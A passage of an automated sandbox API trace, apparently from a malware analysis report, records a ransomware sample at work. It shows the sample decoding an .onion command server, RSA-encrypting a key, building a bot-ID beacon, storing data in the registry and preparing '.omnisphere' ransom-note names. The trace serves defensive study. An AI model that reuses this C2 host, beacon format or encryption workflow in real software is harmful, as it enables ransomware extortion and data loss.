returned=";aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0052.964] GetProcessHeap () returned 0x1600000 [0052.964] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5) returned 0x162b928 [0052.964] lstrcpynA (in: lpString1=0x162b928, lpString2="MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=5 | out: lpString1="MQ==") returned="MQ==" [0052.964] GetProcessHeap () returned 0x1600000 [0052.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5) returned 0x162b938 [0052.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b938, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0052.965] GetProcessHeap () returned 0x1600000 [0052.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x4) returned 0x162b9e8 [0052.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b938, cbMultiByte=1, lpWideCharStr=0x162b9e8, cchWideChar=2 | out: lpWideCharStr="1") returned 1 [0052.965] StrToIntW (lpSrc="1") returned 1 [0052.965] StrStrIA (lpFirst="aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";YXNk;" [0052.965] GetProcessHeap () returned 0x1600000 [0052.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x29) returned 0x1641170 [0052.965] lstrcpynA (in: lpString1=0x1641170, lpString2="aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=41 | out: lpString1="aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v") returned="aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v" [0052.965] GetProcessHeap () returned 0x1600000 [0052.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x29) returned 0x16411a8 [0052.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x16411a8, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0052.965] GetProcessHeap () returned 0x1600000 [0052.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x3e) returned 0x16266d0 [0052.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x16411a8, cbMultiByte=30, lpWideCharStr=0x16266d0, cchWideChar=31 | out: lpWideCharStr="http://uu6issmbncd3wjkm.onion/") returned 30 [0052.966] StrStrIA (lpFirst="YXNk;", lpSrch=";") returned=";" [0052.966] GetProcessHeap () returned 0x1600000 [0052.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5) returned 0x162b9f8 [0052.966] lstrcpynA (in: lpString1=0x162b9f8, lpString2="YXNk;", iMaxLength=5 | out: lpString1="YXNk") returned="YXNk" [0052.966] GetProcessHeap () returned 0x1600000 [0052.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5) returned 0x162b958 [0052.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b958, cbMultiByte=3, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0052.966] GetProcessHeap () returned 0x1600000 [0052.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8) returned 0x162b968 [0052.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b958, cbMultiByte=3, lpWideCharStr=0x162b968, cchWideChar=4 | out: lpWideCharStr="asd") returned 3 [0052.966] CryptAcquireContextW (in: phProv=0x137e158, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x137e158*=0x163bec0) returned 1 [0052.967] CryptImportKey (in: hProv=0x163bec0, pbData=0x137f090, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x137e164 | out: phKey=0x137e164*=0x16394a8) returned 1 [0052.968] CryptEncrypt (in: hKey=0x16394a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x137eb3c*, pdwDataLen=0x137e160*=0xf5, dwBufLen=0x100 | out: pbData=0x137eb3c*, pdwDataLen=0x137e160*=0x100) returned 1 [0052.973] CryptEncrypt (in: hKey=0x16394a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x137ec3c*, pdwDataLen=0x137e15c*=0xf5, dwBufLen=0x100 | out: pbData=0x137ec3c*, pdwDataLen=0x137e15c*=0x100) returned 1 [0052.975] CryptEncrypt (in: hKey=0x16394a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x137ed3c*, pdwDataLen=0x137e154*=0x6a, dwBufLen=0x100 | out: pbData=0x137ed3c*, pdwDataLen=0x137e154*=0x100) returned 1 [0052.977] CryptDestroyKey (hKey=0x16394a8) returned 1 [0052.977] CryptReleaseContext (hProv=0x163bec0, dwFlags=0x0) returned 1 [0052.978] CryptBinaryToStringA (in: pbBinary=0x137eb3c, cbBinary=0x300, dwFlags=0x40000001, pszString=0x0, pcchString=0x137f534 | out: pszString=0x0, pcchString=0x137f534) returned 1 [0052.978] GetProcessHeap () returned 0x1600000 [0052.978] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x401) returned 0x1642e58 [0052.978] CryptBinaryToStringA (in: pbBinary=0x137eb3c, cbBinary=0x300, dwFlags=0x40000001, pszString=0x1642e58, pcchString=0x137f534 | out: pszString="CfJplvzruSU6tf77ldpY7KqvZi5NqYaHyJBnimORc2PVgiYBu9+dbo3OxTG1agTAhZaKn/U+gbzpuYY2vHeZZ/ikb02FsWNumpgbge2lyrN4hPZdwJVa5dgwnCdx3DNbiwujNsAISBet7tWAU4Etj8PIAXqQ7lXvvCiXbWprS1x161ljd7zpE6y2z8SParAug8M25oftJHzbmpSKwvbqJWJgrcMfgxQyABG8oyUyxHk++WbI0AaHGLs06mVah0zx/lBBQg+G934t/5TP6dbDf3wp9IZ6jaSG7LYXM8TBp7RWkDT3myrGh+Sqxje6NreF27xYKc+cUawlRZo6jwOWsGeqtZO/LBw7WdUZWpmcTNXJ/yxZzBa+m/y1U7vCruLl3M1R3YqdF3MR4oNFYy6hYHG/rkLxjU15diojoly2CTObojpTZsNQT6dAngQDbv2S4VDHfgJtPD+yrGR85psBaoyqs6owfVsEzGJFKsizpgTmJ1QhiuVHuP+QDjHVrv0rpTpeD+ZfCvsSrElaZja8V3T9qVwOMpZ1DK+khy3phvu3PqjNOr00cyAJ366QXgu40oGch0pnkKKCYm/QfAf7mi685luLKyfyVkD8oE+hvm9Qpj25/Aojh1FBSVSpwEiY8WK0vjkUOHYaoD9AIkDI984Q5goaQNRTukABdTgWMVk/Ec7vpanAxpU1qMEfAfURjeGzFe5IcFC++kx+GhvHj8xW5z91NLSI0yll5CXeGCptwiojafSWD1xfAptfVwlWZEm+e6QeunZo0YBaykVHqSCMD2Xp4DrkdEXrbwdETI0YRS71aaFPROu2J8aky/RNEJ3qj2SR5cqiXDJD6H7musy0hGpIGxOhFAcLhUh7cfW95WSBMM5DXet9G8/T/HqP+863Bg6J+tKo6FAcN671QkMr7y6A9tsjGx6/fod8fB0ZXxXt8Aoh6Sq7b+tcisyT5YN6AOZjEpwhXa3LDULKpWfIcHNdrgYHGvs4/X1/h0WV09jp8LXypkVMIKiQ+iFb", pcchString=0x137f534) returned 1 [0052.978] GetProcessHeap () returned 0x1600000 [0052.978] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x492) returned 0x16446f0 [0052.978] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x137dd6c | out: pszPath="C:\\WINDOWS") returned 0x0 [0052.978] PathAddBackslashW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\WINDOWS\\") returned="" [0052.978] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\WINDOWS\\", lpszVolumeName=0x137df74, cchBufferLength=0x80 | out: lpszVolumeName="") returned 0 [0052.980] PathRemoveBackslashW (in: pszPath="C:\\WINDOWS\\" | out: pszPath="C:\\WINDOWS") returned="" [0052.980] PathRemoveFileSpecW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\") returned 1 [0052.980] PathAddBackslashW (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0052.980] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\", lpszVolumeName=0x137df74, cchBufferLength=0x80 | out: lpszVolumeName="\\\\?\\Volume{df759572-0000-0000-0000-100000000000}\\") returned 1 [0052.981] CLSIDFromString (in: lpsz="{df759572-0000-0000-0000-100000000000}", pclsid=0x137e110 | out: pclsid=0x137e110*(Data1=0xdf759572, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x10, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0052.981] GetProcessHeap () returned 0x1600000 [0052.981] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x20) returned 0x1642038 [0052.981] GetUserDefaultUILanguage () returned 0x409 [0052.982] GetUserDefaultLocaleName (in: lpLocaleName=0x137f3ac, cchLocaleName=1033 | out: lpLocaleName="en-US") returned 6 [0052.982] wvnsprintfA (in: pszDest=0x16446f0, cchDest=1169, pszFmt="{\"botid\" : \"%ls\", \"key\" : \"%s\", \"ln\" : \"%ls\"}", arglist=0x137e170 | out: pszDest="{\"botid\" : \"43006E0076006\", \"key\" : \"CfJplvzruSU6tf77ldpY7KqvZi5NqYaHyJBnimORc2PVgiYBu9+dbo3OxTG1agTAhZaKn/U+gbzpuYY2vHeZZ/ikb02FsWNumpgbge2lyrN4hPZdwJVa5dgwnCdx3DNbiwujNsAISBet7tWAU4Etj8PIAXqQ7lXvvCiXbWprS1x161ljd7zpE6y2z8SParAug8M25oftJHzbmpSKwvbqJWJgrcMfgxQyABG8oyUyxHk++WbI0AaHGLs06mVah0zx/lBBQg+G934t/5TP6dbDf3wp9IZ6jaSG7LYXM8TBp7RWkDT3myrGh+Sqxje6NreF27xYKc+cUawlRZo6jwOWsGeqtZO/LBw7WdUZWpmcTNXJ/yxZzBa+m/y1U7vCruLl3M1R3YqdF3MR4oNFYy6hYHG/rkLxjU15diojoly2CTObojpTZsNQT6dAngQDbv2S4VDHfgJtPD+yrGR85psBaoyqs6owfVsEzGJFKsizpgTmJ1QhiuVHuP+QDjHVrv0rpTpeD+ZfCvsSrElaZja8V3T9qVwOMpZ1DK+khy3phvu3PqjNOr00cyAJ366QXgu40oGch0pnkKKCYm/QfAf7mi685luLKyfyVkD8oE+hvm9Qpj25/Aojh1FBSVSpwEiY8WK0vjkUOHYaoD9AIkDI984Q5goaQNRTukABdTgWMVk/Ec7vpanAxpU1qMEfAfURjeGzFe5IcFC++kx+GhvHj8xW5z91NLSI0yll5CXeGCptwiojafSWD1xfAptfVwlWZEm+e6QeunZo0YBaykVHqSCMD2Xp4DrkdEXrbwdETI0YRS71aaFPROu2J8aky/RNEJ3qj2SR5cqiXDJD6H7musy0hGpIGxOhFAcLhUh7cfW95WSBMM5DXet9G8/T/HqP+863Bg6J+tKo6FAcN671QkMr7y6A9tsjGx6/fod8fB0ZXxXt8Aoh6Sq7b+tcisyT5YN6AOZjEpwhXa3LDULKpWfIcHNdrgYHGvs4/X1/h0WV09jp8LXypkVMIKiQ+iFb\", \"ln\" : \"en-US\"}") returned 1079 [0052.982] CryptBinaryToStringA (in: pbBinary=0x16446f0, cbBinary=0x437, dwFlags=0x40000001, pszString=0x0, pcchString=0x137f530 | out: pszString=0x0, pcchString=0x137f530) returned 1 [0052.982] GetProcessHeap () returned 0x1600000 [0052.982] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5a1) returned 0x1644b90 [0052.982] CryptBinaryToStringA (in: pbBinary=0x16446f0, cbBinary=0x437, dwFlags=0x40000001, pszString=0x1644b90, pcchString=0x137f530 | out: pszString="eyJib3RpZCIgOiAiNDMwMDZFMDA3NjAwNiIsICJrZXkiIDogIkNmSnBsdnpydVNVNnRmNzdsZHBZN0txdlppNU5xWWFIeUpCbmltT1JjMlBWZ2lZQnU5K2RibzNPeFRHMWFnVEFoWmFLbi9VK2dienB1WVkydkhlWlovaWtiMDJGc1dOdW1wZ2JnZTJseXJONGhQWmR3SlZhNWRnd25DZHgzRE5iaXd1ak5zQUlTQmV0N3RXQVU0RXRqOFBJQVhxUTdsWHZ2Q2lYYldwclMxeDE2MWxqZDd6cEU2eTJ6OFNQYXJBdWc4TTI1b2Z0Skh6Ym1wU0t3dmJxSldKZ3JjTWZneFF5QUJHOG95VXl4SGsrK1diSTBBYUhHTHMwNm1WYWgwengvbEJCUWcrRzkzNHQvNVRQNmRiRGYzd3A5SVo2amFTRzdMWVhNOFRCcDdSV2tEVDNteXJHaCtTcXhqZTZOcmVGMjd4WUtjK2NVYXdsUlpvNmp3T1dzR2VxdFpPL0xCdzdXZFVaV3BtY1ROWEoveXhaekJhK20veTFVN3ZDcnVMbDNNMVIzWXFkRjNNUjRvTkZZeTZoWUhHL3JrTHhqVTE1ZGlvam9seTJDVE9ib2pwVFpzTlFUNmRBbmdRRGJ2MlM0VkRIZmdKdFBEK3lyR1I4NXBzQmFveXFzNm93ZlZzRXpHSkZLc2l6cGdUbUoxUWhpdVZIdVArUURqSFZydjBycFRwZUQrWmZDdnNTckVsYVpqYThWM1Q5cVZ3T01wWjFESytraHkzcGh2dTNQcWpOT3IwMGN5QUozNjZRWGd1NDBvR2NoMHBua0tLQ1ltL1FmQWY3bWk2ODVsdUxLeWZ5VmtEOG9FK2h2bTlRcGoyNS9Bb2poMUZCU1ZTcHdFaVk4V0swdmprVU9IWWFvRDlBSWtESTk4NFE1Z29hUU5SVHVrQUJkVGdXTVZrL0VjN3ZwYW5BeHBVMXFNRWZBZlVSamVHekZlNUljRkMrK2t4K0dodkhqOHhXNXo5MU5MU0kweWxsNUNYZUdDcHR3aW9qYWZTV0QxeGZBcHRmVndsV1pFbStlNlFldW5abzBZQmF5a1ZIcVNDTUQyWHA0RHJrZEVYcmJ3ZEVUSTBZUlM3MWFhRlBST3UySjhha3kvUk5FSjNxajJTUjVjcWlYREpENkg3bXVzeTBoR3BJR3hPaEZBY0xoVWg3Y2ZXOTVXU0JNTTVEWGV0OUc4L1QvSHFQKzg2M0JnNkordEtvNkZBY042NzFRa01yN3k2QTl0c2pHeDYvZm9kOGZCMFpYeFh0OEFvaDZTcTdiK3RjaXN5VDVZTjZBT1pqRXB3aFhhM0xEVUxLcFdmSWNITmRyZ1lIR3ZzNC9YMS9oMFdWMDlqcDhMWHlwa1ZNSUtpUStpRmIiLCAibG4iIDogImVuLVVTIn0=", pcchString=0x137f530) returned 1 [0052.982] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x137e36c | out: pszPath="C:\\WINDOWS") returned 0x0 [0052.982] PathAddBackslashW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\WINDOWS\\") returned="" [0052.982] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\WINDOWS\\", lpszVolumeName=0x137e574, cchBufferLength=0x80 | out: lpszVolumeName="") returned 0 [0052.983] PathRemoveBackslashW (in: pszPath="C:\\WINDOWS\\" | out: pszPath="C:\\WINDOWS") returned="" [0052.983] PathRemoveFileSpecW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\") returned 1 [0052.983] PathAddBackslashW (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0052.983] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\", lpszVolumeName=0x137e574, cchBufferLength=0x80 | out: lpszVolumeName="\\\\?\\Volume{df759572-0000-0000-0000-100000000000}\\") returned 1 [0052.984] CLSIDFromString (in: lpsz="{df759572-0000-0000-0000-100000000000}", pclsid=0x137e710 | out: pclsid=0x137e710*(Data1=0xdf759572, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x10, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0052.984] wvnsprintfW (in: pszDest=0x137f338, cchDest=259, pszFmt="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\%s", arglist=0x137e748 | out: pszDest="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lsxzmjbgu") returned 51 [0052.984] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x137e370 | out: pszPath="C:\\WINDOWS") returned 0x0 [0052.984] PathAddBackslashW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\WINDOWS\\") returned="" [0052.984] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\WINDOWS\\", lpszVolumeName=0x137e578, cchBufferLength=0x80 | out: lpszVolumeName="") returned 0 [0052.985] PathRemoveBackslashW (in: pszPath="C:\\WINDOWS\\" | out: pszPath="C:\\WINDOWS") returned="" [0052.985] PathRemoveFileSpecW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\") returned 1 [0052.985] PathAddBackslashW (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0052.985] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\", lpszVolumeName=0x137e578, cchBufferLength=0x80 | out: lpszVolumeName="\\\\?\\Volume{df759572-0000-0000-0000-100000000000}\\") returned 1 [0052.986] CLSIDFromString (in: lpsz="{df759572-0000-0000-0000-100000000000}", pclsid=0x137e714 | out: pclsid=0x137e714*(Data1=0xdf759572, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x10, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0052.986] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lsxzmjbgu", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x102, lpSecurityAttributes=0x0, phkResult=0x137e760, lpdwDisposition=0x0 | out: phkResult=0x137e760*=0x338, lpdwDisposition=0x0) returned 0x0 [0052.986] RegSetValueExW (in: hKey=0x338, lpValueName="Odjjwts", Reserved=0x0, dwType=0x3, lpData=0x137e77c*, cbData=0x9b4 | out: lpData=0x137e77c*) returned 0x0 [0052.987] RegFlushKey (hKey=0x338) returned 0x0 [0053.046] RegCloseKey (hKey=0x338) returned 0x0 [0053.046] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x137e368 | out: pszPath="C:\\WINDOWS") returned 0x0 [0053.046] PathAddBackslashW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\WINDOWS\\") returned="" [0053.046] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\WINDOWS\\", lpszVolumeName=0x137e570, cchBufferLength=0x80 | out: lpszVolumeName="") returned 0 [0053.047] PathRemoveBackslashW (in: pszPath="C:\\WINDOWS\\" | out: pszPath="C:\\WINDOWS") returned="" [0053.047] PathRemoveFileSpecW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\") returned 1 [0053.047] PathAddBackslashW (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0053.047] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\", lpszVolumeName=0x137e570, cchBufferLength=0x80 | out: lpszVolumeName="\\\\?\\Volume{df759572-0000-0000-0000-100000000000}\\") returned 1 [0053.048] CLSIDFromString (in: lpsz="{df759572-0000-0000-0000-100000000000}", pclsid=0x137e70c | out: pclsid=0x137e70c*(Data1=0xdf759572, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x10, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0053.048] wvnsprintfW (in: pszDest=0x137f12c, cchDest=259, pszFmt="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\%s", arglist=0x137e744 | out: pszDest="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lsxzmjbgu") returned 51 [0053.048] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x137e36c | out: pszPath="C:\\WINDOWS") returned 0x0 [0053.048] PathAddBackslashW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\WINDOWS\\") returned="" [0053.048] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\WINDOWS\\", lpszVolumeName=0x137e574, cchBufferLength=0x80 | out: lpszVolumeName="") returned 0 [0053.049] PathRemoveBackslashW (in: pszPath="C:\\WINDOWS\\" | out: pszPath="C:\\WINDOWS") returned="" [0053.049] PathRemoveFileSpecW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\") returned 1 [0053.049] PathAddBackslashW (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0053.049] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\", lpszVolumeName=0x137e574, cchBufferLength=0x80 | out: lpszVolumeName="\\\\?\\Volume{df759572-0000-0000-0000-100000000000}\\") returned 1 [0053.050] CLSIDFromString (in: lpsz="{df759572-0000-0000-0000-100000000000}", pclsid=0x137e710 | out: pclsid=0x137e710*(Data1=0xdf759572, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x10, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0053.050] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lsxzmjbgu", ulOptions=0x0, samDesired=0x101, phkResult=0x137e754 | out: phkResult=0x137e754*=0x338) returned 0x0 [0053.050] RegQueryValueExW (in: hKey=0x338, lpValueName="Odjjwts", lpReserved=0x0, lpType=0x137e748, lpData=0x137e778, lpcbData=0x137e744*=0x9b4 | out: lpType=0x137e748*=0x3, lpData=0x137e778*, lpcbData=0x137e744*=0x9b4) returned 0x0 [0053.050] RegCloseKey (hKey=0x338) returned 0x0 [0053.050] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x338 [0053.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x20000, lpStartAddress=0xa62360, lpParameter=0x338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0053.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x20000, lpStartAddress=0xa627f0, lpParameter=0x338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340 [0053.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x20000, lpStartAddress=0xa62630, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344 [0053.061] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0071.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x20000, lpStartAddress=0xa617f0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0071.594] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xf94 Thread: id = 3 os_tid = 0xeb8 Thread: id = 4 os_tid = 0xdf4 Thread: id = 5 os_tid = 0xd44 [0053.084] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x3acddbc | out: pszPath="C:\\WINDOWS") returned 0x0 [0053.084] PathAddBackslashW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\WINDOWS\\") returned="" [0053.084] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\WINDOWS\\", lpszVolumeName=0x3acdfc4, cchBufferLength=0x80 | out: lpszVolumeName="") returned 0 [0053.085] PathRemoveBackslashW (in: pszPath="C:\\WINDOWS\\" | out: pszPath="C:\\WINDOWS") returned="" [0053.086] PathRemoveFileSpecW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\") returned 1 [0053.086] PathAddBackslashW (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0053.086] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\", lpszVolumeName=0x3acdfc4, cchBufferLength=0x80 | out: lpszVolumeName="\\\\?\\Volume{df759572-0000-0000-0000-100000000000}\\") returned 1 [0053.087] CLSIDFromString (in: lpsz="{df759572-0000-0000-0000-100000000000}", pclsid=0x3ace160 | out: pclsid=0x3ace160*(Data1=0xdf759572, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x10, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0053.087] wvnsprintfW (in: pszDest=0x3aceb80, cchDest=259, pszFmt="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\%s", arglist=0x3ace198 | out: pszDest="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lsxzmjbgu") returned 51 [0053.087] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x3acddc0 | out: pszPath="C:\\WINDOWS") returned 0x0 [0053.087] PathAddBackslashW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\WINDOWS\\") returned="" [0053.087] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\WINDOWS\\", lpszVolumeName=0x3acdfc8, cchBufferLength=0x80 | out: lpszVolumeName="") returned 0 [0053.088] PathRemoveBackslashW (in: pszPath="C:\\WINDOWS\\" | out: pszPath="C:\\WINDOWS") returned="" [0053.088] PathRemoveFileSpecW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\") returned 1 [0053.088] PathAddBackslashW (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0053.088] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\", lpszVolumeName=0x3acdfc8, cchBufferLength=0x80 | out: lpszVolumeName="\\\\?\\Volume{df759572-0000-0000-0000-100000000000}\\") returned 1 [0053.089] CLSIDFromString (in: lpsz="{df759572-0000-0000-0000-100000000000}", pclsid=0x3ace164 | out: pclsid=0x3ace164*(Data1=0xdf759572, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x10, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0053.089] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lsxzmjbgu", ulOptions=0x0, samDesired=0x101, phkResult=0x3ace1a8 | out: phkResult=0x3ace1a8*=0x348) returned 0x0 [0053.090] RegQueryValueExW (in: hKey=0x348, lpValueName="Odjjwts", lpReserved=0x0, lpType=0x3ace19c, lpData=0x3ace1cc, lpcbData=0x3ace198*=0x9b4 | out: lpType=0x3ace19c*=0x3, lpData=0x3ace1cc*, lpcbData=0x3ace198*=0x9b4) returned 0x0 [0053.090] RegCloseKey (hKey=0x348) returned 0x0 [0053.090] VirtualQuery (in: lpAddress=0xa67170, lpBuffer=0x3acef00, dwLength=0x1c | out: lpBuffer=0x3acef00*(BaseAddress=0xa67000, AllocationBase=0xa60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0053.090] StrStrIA (lpFirst="(null);(null);LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;U